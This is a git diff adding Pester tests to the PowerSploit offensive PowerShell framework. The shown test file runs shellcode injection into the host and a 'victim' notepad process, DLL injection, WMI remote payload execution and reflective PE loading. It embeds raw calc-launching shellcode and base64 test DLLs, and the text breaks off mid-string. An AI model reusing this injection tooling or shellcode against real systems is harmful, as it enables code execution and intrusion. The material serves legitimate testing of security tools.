diff options
Diffstat (limited to 'Tests')
-rw-r--r-- | Tests/CodeExecution.tests.ps1 | 362 | ||||
-rw-r--r-- | Tests/PowerSploit.tests.ps1 | 49 | ||||
-rw-r--r-- | Tests/Privesc.tests.ps1 | 570 | ||||
-rw-r--r-- | Tests/Recon.tests.ps1 | 621 |
4 files changed, 1602 insertions, 0 deletions
diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 new file mode 100644 index 0000000..2771e78 --- /dev/null +++ b/Tests/CodeExecution.tests.ps1 @@ -0,0 +1,362 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1" + +Remove-Module [C]odeExecution +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Invoke-Shellcode' { + # 32-bit calc popping shellcode + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit calc popping shellcode + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + + $PowerShell32bit = $False + $Shellcode = $Shellcode64 + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $Shellcode = $Shellcode32 + } + + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + BeforeEach { + # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc) + Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force + } + + It 'should pop calc without arguments' { + Invoke-Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in host process with -Shellcode arg' { + Invoke-Shellcode -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in victim notepad.exe process without -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + It 'should pop calc in victim notepad.exe process with -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + AfterEach { + # Validate that a calc process was launched by the shellcode + + $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } + $CalcCount = $CalcProcs | Measure-Object + + if ($CalcCount.Count -gt 0) { + $CalcProcs | Stop-Process -Force + } + + $CalcCount.Count | Should BeGreaterThan 0 + } +} + +Describe 'Invoke-DllInjection' { + $Advpack = 'advpack.dll' + $AdvpackPath = "$($Env:SystemRoot)\System32\$Advpack" + + It 'should inject a known system DLL' { + if (-not (Test-Path $AdvpackPath)) { + throw "$AdvpackPath does not exist on disk." + } + + $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AdvpackPath + $LoadedModule | Should Not BeNullOrEmpty + + $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True + $LoadedModule.ModuleName | Should Be $Advpack + } + + It 'should not inject a non-existent DLL' { + $NonExistentDllPath = 'C:\foo.dll' + + Test-Path $NonExistentDllPath | Should Be $False + + { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw + } + + It 'should not inject to a non-existent process' { + { Invoke-DllInjection -ProcessID 0 -Dll $AdvpackPath } | Should Throw + } +} + +Describe 'Invoke-WmiCommand' { + $RegistryHive = 'HKEY_CURRENT_USER' + $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG' + $RegistryKeyPath = "HKCU:\$KeyPath" + $RegistryPayloadValueName = 'Seed' + $RegistryResultValueName = 'Value' + $ComputerName = 'localhost' + $SamplePayload = { 1+1 } + $SamplePayloadResult = & $SamplePayload + $SamplePayloadResultType = $SamplePayloadResult.GetType() + + Context 'Successful code execution' { + BeforeEach { + # Ensure registry keys and values are cleaned up prior to execution + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue + Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue + } + + AfterEach { + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw + { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw + } + + It 'should execute a sample payload locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload "remotely" (localhost) and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload with explicit arguments locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + } + + Context 'Invalid arguments' { + It 'should not process invalid registry hives' { + { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw + } + } +} + +Describe 'Invoke-ReflectivePEInjection' { + # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called + # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + $Encoded64BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAACCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply returns "Hello, world!" upon having StringFunc called + $Encoded64BitStringDll = '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